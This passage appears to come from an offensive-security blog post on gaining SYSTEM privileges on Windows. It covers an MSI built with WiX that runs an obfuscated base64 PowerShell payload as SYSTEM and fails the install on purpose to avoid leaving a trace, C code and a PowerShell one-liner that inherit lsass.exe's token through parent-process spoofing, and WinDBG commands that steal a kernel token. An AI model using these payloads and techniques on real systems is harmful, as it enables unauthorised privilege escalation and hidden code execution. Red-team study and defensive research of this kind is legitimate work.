Reviewing the documentation for WIX, we see that custom actions are provided, which give the developer a way to launch scripts and processes during the install process. Within the CustomAction documentation, we see something interesting:

customaction

This documents a simple way in which a MSI can be used to launch processes as SYSTEM, by providing a custom action with an Impersonate attribute set to false.

When crafted, our WIX file will look like this:

<?xml version=«1.0«?>
<Wix xmlns=«http://schemas.microsoft.com/wix/2006/wi«>
<Product Id=«*« UpgradeCode=«12345678-1234-1234-1234-111111111111« Name=«Example Product Name« Version=«0.0.1« Manufacturer=«@_xpn_« Language=«1033«>
<Package InstallerVersion=«200« Compressed=«yes« Comments=«Windows Installer Package«/>
<Media Id=«1« Cabinet=«product.cab« EmbedCab=«yes«/>
<Directory Id=«TARGETDIR« Name=«SourceDir«>
<Directory Id=«ProgramFilesFolder«>
<Directory Id=«INSTALLLOCATION« Name=«Example«>
<Component Id=«ApplicationFiles« Guid=«12345678-1234-1234-1234-222222222222«>
<File Id=«ApplicationFile1« Source=«example.exe«/>
</Component>
</Directory>
</Directory>
</Directory>
<Feature Id=«DefaultFeature« Level=«1«>
<ComponentRef Id=«ApplicationFiles«/>
</Feature>
<Property Id=»cmdline»>powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEARABlAGgAQQBGAG8AQwBBADcAVgBXAGIAVwAvAGEAUwBCAEQAKwBuAEUAcgA5AEQAMQBhAEYAaABLADAAUwBEAEkAUwBVAEoAbABLAGwAVwAvAE8AZQBBAEkARQA0AEcAQQBoAEYAcAA0ADIAOQBOAGcAdQBMADEAMQAyAHYAZQBlAHYAMQB2ADkAOABZADcASgBTAHEAeQBWADIAdgAwAGwAbQBKADIAUABYAE8ANwBEADcAegB6AEQATQA3AGQAaQBQAGYAbABwAFQANwBTAHIAZwBZADMAVwArAFgAZQBLADEAOABmAGYAdgBtAHIASQA4AEYAWABpAGwAcQBaAHQAMABjAFAAeABRAHIAKwA0AEQAdwBmAGsANwBKAGkASABFAHoATQBNAGoAVgBwAGQAWABUAHoAcwA3AEEASwBpAE8AVwBmADcAYgB0AFYAYQBHAHMAZgBGAEwAVQBLAFEAcQBDAEcAbAA5AGgANgBzACsAdQByADYAdQBSAEUATQBTAFgAeAAzAG0AKwBTAFMAUQBLAFEANwBKADYAWQBwAFMARQBxAHEAYgA4AHAAWQB6AG0AUgBKAEQAegB1ADYAYwBGAHMAYQBYAHkAVgBjAG4AOABtAFcAOAB5AC8AbwBSAFoAWQByAGEAcgBZAG4AdABPAGwASABQAGsATwAvAEYAYQBoADkAcwA0AHgAcABnADMAQQAwAGEAbABtAHYAMwA4AE8AYQB0AE4AegA0AHUAegBmAFAAMQBMAGgARgBtAG8AWgBzADEAZABLAE0AawBxADcAegBDAFcAMQBaAFIAdgBXAG4AegBnAHcAeQA0AGcAYQByAFoATABiAGMARgBEADcAcwByADgAaQBQAG8AWABwAGYAegBRAEQANwBGAEwAZQByAEQAYgBtAG4AUwBKAG4ASABNAG4AegBHAG8AUQBDAGYAdwBKAEkAaQBQAGgASwA4ADgAeAB4AFoAcwBjAFQAZABRAHMARABQAHUAQwAyADgAaAB4AEIAQQBuAEIASQA5AC8AMgAxADMAeABKADEASQB3AGYATQBaAFoAVAAvAGwAQwBuAEMAWQBMADcAeQBKAGQAMABSAFcAQgBkAEUAcwBFAEQAawA0AGcAMQB0AFUAbQBZAGIAMgBIAGYAWQBlAFMAZQB1AEQATwAxAFIAegBaAHAANABMAC8AcQBwAEoANAA2AGcAVgBWAGYAQwBpADAASAAyAFgAawBGAGEAcABjADcARQBTAE4ASAA3ADYAegAyAE0AOQBqAFQAcgBHAHIAdwAvAEoAaABaAG8ATwBQAGIAMgB6AGQAdgAzADcAaQBwAE0ASwBMAHEAZQBuAGcAcQBDAGgAaQBkAFQAUQA5AGoAQQBuAGoAVgBQAGcALwBwAHcAZQA2AFQAVQBzAGcAcABYAFQAZwBWAFMAeQA1ADIATQBNADAAOABpAEkAaABvAE0AMgBVAGEANQAyAEkANgBtAHkAawBaAHUANwBnAHEANQBsADcAMwBMADYAYgBHAFkARQBxAHMAZQBjAEcAeAB1AGwAVgA0AFAAYgBVADQAZABXAGIAZwBsAG0AUQBxAHMANgA2AEkAWABxAGwAUwBpAFoAZABlAEYAMQAyAE4AdQBOAFEAbgB0AFoAMgBQAFYAOQBSAE8AZABhAFcAKwBSAEQAOQB4AEcAVABtAEUAbQBrAC8ATgBlAG8AQgBOAHoAUwBZAEwAeABLAGsAUgBSAGoAdwBzAFkAegBKAHoAeQB2AFIAbgB0AC8AcQBLAHkAbQBkAGYASQA2AEwATQBJAFEATABaAGsATQBJAFEAVQBFAEYAMgB0AFIALwBCAEgAUABPAGoAWgB0AHQAKwBsADYAeQBBAHEAdQBNADgAQwAyAGwAdwBRAGMAMABrAHQAVQA0AFUAdgBFAHQAUABqACsAZABnAGwASwAwAHkASABJAFkANQBwAFIAOQBCAE8AZABrADUAeABTAFMAWQBFAFMAZQBuAEkARAArAGsAeQBSAEsASwBKAEQAOABNAHMAOQAvAGgAZABpAE0AbQBxAFkAMQBEAG0AVwA0ADMAMAAwADYAbwBUAEkANgBzAGMAagArAFUASQByAEkAaABnAFIARAArAGcAeABrAFEAbQAyAEkAVwBzADUARgBUAFcAdABRAGgAeABzADYAawBYAG4AcAAwADkAawBVAHUAcQBwAGcAeAA2AG4AdQB3ADAAeABwAHkAQQBXADkAaQBEAGsAdwBaAHkAMABJAEEAeQBvAE0ARQB0AEwAeABKAFoASABzAFYATQBMAEkAQwBtADAATgBwAE4AeABqADIAbwBKAEMAVABVAGoAagBvAEMASAB2AEUAeQBiADQAQQBNAGwAWAA2AFUAZABZAHgASQB5AGsAVgBKAHgAQQBoAHoAUwBiAGoATQBxAGQAWQBWAEUAaQA0AEoARwBKADIAVQAwAG4AOQBIAG8AcQBUAEsAeQBMAEYAVQB4AFUAawB5AFkAdQBhAFYAcwAzAFUAMgBNAGwAWQA2ADUAbgA5ADMAcgBEADIAcwBVAEkAVABpAGcANgBFAEMAQQBsAGsATgBBAFIAZgBHAFQAZwBrAEgAOABxAG0ARgBFAEMAVgArAGsANgAvAG8AMQBVAEUAegA2AFQAdABzADYANQB0AEwARwBrAFIAYgBXAGkAeAAzAFkAWAAvAEkAYgAxAG8AOAAxAHIARgB1AGIAMQBaAHQASABSAFIAMgA4ADUAZAAxAEEANwBiADMAVgBhAC8ATgBtAGkAMQB5AHUAcwBiADAAeQBwAEwAcwA5ADYAVwB0AC8AMgAyADcATgBiAEgAaQA0AFcASgBXAHYAZgBEAGkAWAB4AHMAbwA5AFkARABMAFMAdwBuADUAWAAxAHcAUQAvAGQAbQBCAHoAbQBUAHIAZgA1AGgAYgArAHcAMwBCAFcATwA3AFgAMwBpAE8ATwA2AG0ANQByAGwAZAB4AHoAZgB2AGkAWgBZAE4AMgBSAHQAVwBCAFUAUwBqAGgAVABxADAAZQBkAFUAYgBHAHgAaQBpAFUAdwB6AHIAZAB0AEEAWgAwAE8ARgBqAGUATgBPAFQAVAB4AEcASgA0ADYATwByAGUAdQBIAGkARgA2AGIAWQBqAEYAbABhAFIAZAAvAGQAdABoAEoAcgB6AEMAMwB0AC8ANAAxAHIATgBlAGQAZgBaAFQAVgByADYAMQBhAGkAOABSAEgAVwBFAHEAbgA3AGQAYQBoAGoAOABkAG0ASQBJADEATgBjAHQANwBBAFgAYwAzAFUAQwBRAEkANgArAEsAagBJAFoATgB5AGUATgBnADIARABBAEcAZwA0AGEAQgBoAHMAMwBGAGwAOQBxAFYANwBvAEgAdgBHAE0AKwBOAGsAVgBXAGkAagA4AEgANABmAGcANwB6AEIAawBDADQAMQBRAHYAbAB0AGsAUAAyAGYARABJAEEALwB5AFoASAAyAEwAcwBIAEcANgA5AGEAcwB1AGMAdQAyAE4AVABlAEkAKwBOADkAagA0AGMAbAB2AEQAUQA0AE0AcwBDAG0AOABmAGcARgBjAEUAMgBDAFIAcAAvAEIAKwBzAE8AdwB4AEoASABGAGUAbQBPAE0ATwBvACsANwBoAHEANABYAEoALwAwAHkAYQBoAFgAbwBxAE8AbQBoAGUARQB2AHMARwBRAE8ATQB3AG4AVgB0AFgAOQBPAEwAbABzAE8AZAAwAFcAVgB2ADQAdQByAFcAbQBGAFgAMABXAHYAVQBoAHMARgAxAGQAMQB6AGUAdAAyAHEAMwA5AFcATgB4ACsAdgBLAHQAOAA3AEkAeQBvAHQAZQBKAG8AcQBPAHYAVwB1ADEAZwBiAEkASQA0AE0ARwBlAC8ARwBuAGMAdQBUAGoATAA5ADIAcgBYAGUAeABDAE8AZQBZAGcAUgBMAGcAcgBrADYAcgBzAGMARgBGAEkANwBsAHcAKwA1AHoARwBIAHEAcgA2ADMASgBHAFgAUgBQAGkARQBRAGYAdQBDAEIAcABjAEsARwBqAEgARwA3AGIAZwBMAEgASwA1AG4ANgBFAEQASAB2AGoAQwBEAG8AaAB6AEMAOABLAEwAMAA0AGsAaABUAG4AZwAyADEANwA1ADAAaABmAFgAVgA5AC8AUQBoAEkAbwBUAHcATwA0AHMAMQAzAGkATwAvAEoAZQBhADYAdwB2AFMAZwBVADQARwBvAHYAYgBNAHMARgBDAFAAYgBYAHcANgB2AHkAWQBLAGMAZQA5ADgAcgBGAHYAUwBHAGgANgBIAGwALwBkAHQAaABmAGkAOABzAG0ARQB4AG4ARwAvADAAOQBkAFUAcQA5AHoAKwBIAEgAKwBqAGIAcgB2ADcALwA1AGgAOQBaAGYAbwBMAE8AVABTAHcASAA5AGEAKwBQAEgARgBmAHkATAAzAHQAdwBnAFkAWQBTAHIAQgAyAG8AUgBiAGgANQBGAGoARgAzAHkAWgBoADAAUQB0AEoAeAA4AFAAawBDAEIAUQBnAHAAcwA4ADgAVABmAGMAWABTAFQAUABlAC8AQgBKADgAVABmAEIATwBiAEwANgBRAGcAbwBBAEEAQQA9AD0AJwAnACkAKQA7AEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACQAcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7ACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA
</Property>
<CustomAction Id=«SystemShell« Execute=«deferred« Directory=«TARGETDIR« ExeCommand=[cmdline] Return=«ignore« Impersonate=«no«/>
<CustomAction Id=«FailInstall« Execute=«deferred« Script=«vbscript« Return=«check«>
invalid vbs to fail install
</CustomAction>
<InstallExecuteSequence>
<Custom Action=«SystemShell« After=«InstallInitialize«></Custom>
<Custom Action=«FailInstall« Before=«InstallFiles«></Custom>
</InstallExecuteSequence>
</Product>
</Wix>
view rawmsigen.wix hosted with ❤ by GitHub

A lot of this is just boilerplate to generate a MSI, however the parts to note are our custom actions:

<Property Id="cmdline">powershell...</Property>
<CustomAction Id="SystemShell" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore" Impersonate="no"/>

This custom action is responsible for executing our provided cmdline as SYSTEM (note the Property tag, which is a nice way to get around the length limitation of the ExeCommandattribute for long Powershell commands).

Another trick which is useful is to ensure that the install fails after our command is executed, which will stop the installer from adding a new entry to «Add or Remove Programs» which is shown here by executing invalid VBScript:

<CustomAction Id="FailInstall" Execute="deferred" Script="vbscript" Return="check">
  invalid vbs to fail install
</CustomAction>

Finally, we have our InstallExecuteSequence tag, which is responsible for executing our custom actions in order:

<InstallExecuteSequence>
  <Custom Action="SystemShell" After="InstallInitialize"></Custom>
  <Custom Action="FailInstall" Before="InstallFiles"></Custom>
</InstallExecuteSequence>

So, when executed:

  1. Our first custom action will be launched, forcing our payload to run as the SYSTEM account.
  2. Our second custom action will be launched, causing some invalid VBScript to be executed and stop the install process with an error.

To compile this into a MSI we save the above contents as a file called «msigen.wix», and use the following commands:

candle.exe msigen.wix
light.exe msigen.wixobj

Finally, execute the MSI file to execute our payload as SYSTEM:

shell3

PROC_THREAD_ATTRIBUTE_PARENT_PROCESS method

This method of becoming SYSTEM was actually revealed to me via a post from James Forshaw’s walkthrough of how to become «Trusted Installer».

Again, if you listen to my ramblings on Twitter, I recently mentioned this technique a few weeks back:

How this technique works is by leveraging the CreateProcess Win32 API call, and using its support for assigning the parent of a newly spawned process via the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute.

If we review the documentation of this setting, we see the following:

PROC_THREAT_ATTRIBUTE_PARENT_PROCESS

So, this means if we set the parent process of our newly spawned process, we will inherit the process token. This gives us a cool way to grab the SYSTEM account via the process token.

We can create a new process and set the parent with the following code:

int pid;
HANDLE pHandle = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T size;
BOOL ret;

// Set the PID to a SYSTEM process PID
pid = 555;

EnableDebugPriv();

// Open the process which we will inherit the handle from
if ((pHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid)) == 0) {
	printf("Error opening PID %d\n", pid);
	return 2;
}

// Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute
ZeroMemory(&si, sizeof(STARTUPINFOEXA));

InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
	GetProcessHeap(),
	0,
	size
);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &pHandle, sizeof(HANDLE), NULL, NULL);

si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

// Finally, create the process
ret = CreateProcessA(
	"C:\\Windows\\system32\\cmd.exe", 
	NULL,
	NULL, 
	NULL, 
	true, 
	EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, 
	NULL,
	NULL, 
	reinterpret_cast<LPSTARTUPINFOA>(&si), 
	&pi
);

if (ret == false) {
	printf("Error creating new process (%d)\n", GetLastError());
	return 3;
}

When compiled, we see that we can launch a process and inherit an access token from a parent process running as SYSTEM such as lsass.exe:

parentsystem2

The source for this technique can be found here.

Alternatively, NtObjectManager provides a nice easy way to achieve this using Powershell:

New-Win32Process cmd.exe -CreationFlags Newconsole -ParentProcess (Get-NtProcess -Name lsass.exe)

Bonus Round: Getting SYSTEM via the Kernel

OK, so this technique is just a bit of fun, and not something that you are likely to come across in an engagement… but it goes some way to show just how Windows is actually managing process tokens.

Often you will see Windows kernel privilege escalation exploits tamper with a process structure in the kernel address space, with the aim of updating a process token. For example, in the popular MS15-010 privilege escalation exploit (found on exploit-db here), we can see a number of references to manipulating access tokens.

For this analysis, we will be using WinDBG on a Windows 7 x64 virtual machine in which we will be looking to elevate the privileges of our cmd.exe process to SYSTEM by manipulating kernel structures. (I won’t go through how to set up the Kernel debugger connection as this is covered in multiple places for multiple hypervisors.)

Once you have WinDBG connected, we first need to gather information on our running process which we want to elevate to SYSTEM. This can be done using the !process command:

!process 0 0 cmd.exe

Returned we can see some important information about our process, such as the number of open handles, and the process environment block address:

PROCESS fffffa8002edd580
    SessionId: 1  Cid: 0858    Peb: 7fffffd4000  ParentCid: 0578
    DirBase: 09d37000  ObjectTable: fffff8a0012b8ca0  HandleCount:  21.
    Image: cmd.exe

For our purpose, we are interested in the provided PROCESS address (in this example fffffa8002edd580), which is actually a pointer to an EPROCESS structure. The EPROCESSstructure (documented by Microsoft here) holds important information about a process, such as the process ID and references to the process threads.

Amongst the many fields in this structure is a pointer to the process’s access token, defined in a TOKEN structure. To view the contents of the token, we first must calculate the TOKEN address. On Windows 7 x64, the process TOKEN is located at offset 0x208, which differs throughout each version (and potentially service pack) of Windows. We can retrieve the pointer with the following command:

kd> dq fffffa8002edd580+0x208 L1

This returns the token address as follows:

fffffa80`02edd788  fffff8a0`00d76c51

As the token address is referenced within a EX_FAST_REF structure, we must AND the value to gain the true pointer address:

kd> ? fffff8a0`00d76c51 & ffffffff`fffffff0

Evaluate expression: -8108884136880 = fffff8a0`00d76c50

Which means that our true TOKEN address for cmd.exe is at fffff8a000d76c50. Next we can dump out the TOKEN structure members for our process using the following command:

kd> !token fffff8a0`00d76c50

This gives us an idea of the information held by the process token:

User: S-1-5-21-3262056927-4167910718-262487826-1001
User Groups:
 00 S-1-5-21-3262056927-4167910718-262487826-513
    Attributes - Mandatory Default Enabled
 01 S-1-1-0
    Attributes - Mandatory Default Enabled
 02 S-1-5-32-544
    Attributes - DenyOnly
 03 S-1-5-32-545
    Attributes - Mandatory Default Enabled
 04 S-1-5-4
    Attributes - Mandatory Default Enabled
 05 S-1-2-1
    Attributes - Mandatory Default Enabled
 06 S-1-5-11
    Attributes - Mandatory Default Enabled
 07 S-1-5-15
    Attributes - Mandatory Default Enabled
 08 S-1-5-5-0-2917477
    Attributes - Mandatory Default Enabled LogonId
 09 S-1-2-0
    Attributes - Mandatory Default Enabled
 10 S-1-5-64-10
    Attributes - Mandatory Default Enabled
 11 S-1-16-8192
    Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S-1-5-21-3262056927-4167910718-262487826-513
Privs:
 19 0x000000013 SeShutdownPrivilege               Attributes -
 23 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default
 25 0x000000019 SeUndockPrivilege                 Attributes -
 33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes -
 34 0x000000022 SeTimeZonePrivilege               Attributes -

So how do we escalate our process to gain SYSTEM access? Well we just steal the token from another SYSTEM privileged process, such as lsass.exe, and splice this into our cmd.exe EPROCESS using the following:

kd> !process 0 0 lsass.exe
kd> dq <LSASS_PROCESS_ADDRESS>+0x208 L1
kd> ? <LSASS_TOKEN_ADDRESS> & FFFFFFFF`FFFFFFF0
kd> !process 0 0 cmd.exe
kd> eq <CMD_EPROCESS_ADDRESS+0x208> <LSASS_TOKEN_ADDRESS>

To see what this looks like when run against a live system, I’ll leave you with a quick demo showing cmd.exe being elevated from a low level user, to SYSTEM privileges: